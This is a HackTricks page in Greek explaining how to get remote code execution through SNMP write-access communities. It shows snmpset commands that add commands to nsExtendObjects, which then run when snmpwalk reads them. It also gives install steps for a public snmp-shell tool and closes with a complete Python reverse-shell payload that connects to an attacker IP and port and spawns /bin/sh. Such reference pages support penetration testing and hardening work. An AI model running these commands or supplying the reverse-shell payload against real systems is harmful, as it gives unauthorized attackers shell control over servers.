SNMP RCE

Support HackTricks

SNMP RCE

Το SNMP μπορεί να εκμεταλλευτεί από έναν επιτιθέμενο αν ο διαχειριστής παραβλέψει την προεπιλεγμένη ρύθμιση του στη συσκευή ή τον διακομιστή. Με την κατάχρηση της κοινότητας SNMP με δικαιώματα εγγραφής (rwcommunity) σε ένα λειτουργικό σύστημα Linux, ο επιτιθέμενος μπορεί να εκτελέσει εντολές στον διακομιστή.

Επέκταση Υπηρεσιών με Πρόσθετες Εντολές

Για να επεκταθούν οι υπηρεσίες SNMP και να προστεθούν επιπλέον εντολές, είναι δυνατόν να προστεθούν νέες γραμμές στον πίνακα "nsExtendObjects". Αυτό μπορεί να επιτευχθεί χρησιμοποιώντας την εντολή snmpset και παρέχοντας τις απαραίτητες παραμέτρους, συμπεριλαμβανομένης της απόλυτης διαδρομής προς το εκτελέσιμο και την εντολή που θα εκτελεστεί:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Εισαγωγή Εντολών για Εκτέλεση

Η εισαγωγή εντολών για εκτέλεση στην υπηρεσία SNMP απαιτεί την ύπαρξη και εκτελεσιμότητα του καλούμενου δυαδικού/σεναρίου. Το NET-SNMP-EXTEND-MIB απαιτεί την παροχή της απόλυτης διαδρομής προς το εκτελέσιμο.

Για να επιβεβαιωθεί η εκτέλεση της εισαγόμενης εντολής, μπορεί να χρησιμοποιηθεί η εντολή snmpwalk για την καταμέτρηση της υπηρεσίας SNMP. Η έξοδος θα εμφανίσει την εντολή και τις σχετικές λεπτομέρειες της, συμπεριλαμβανομένης της απόλυτης διαδρομής:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Running the Injected Commands

Όταν η εισαγμένη εντολή διαβαστεί, εκτελείται. Αυτή η συμπεριφορά είναι γνωστή ως run-on-read() Η εκτέλεση της εντολής μπορεί να παρατηρηθεί κατά τη διάρκεια της ανάγνωσης snmpwalk.

Gaining Server Shell with SNMP

Για να αποκτήσετε έλεγχο πάνω στον διακομιστή και να αποκτήσετε ένα server shell, μπορείτε να χρησιμοποιήσετε ένα σενάριο python που έχει αναπτυχθεί από τον mxrch από https://github.com/mxrch/snmp-shell.git.

Εναλλακτικά, μπορείτε να δημιουργήσετε χειροκίνητα ένα reverse shell εισάγοντας μια συγκεκριμένη εντολή στο SNMP. Αυτή η εντολή, που ενεργοποιείται από το snmpwalk, δημιουργεί μια σύνδεση reverse shell με τη μηχανή του επιτιθέμενου, επιτρέποντας τον έλεγχο της μηχανής του θύματος. Μπορείτε να εγκαταστήσετε τις προϋποθέσεις για να το εκτελέσετε:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Ή μια αντίστροφη θήκη:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Αναφορές

Υποστήριξη HackTricks

Last updated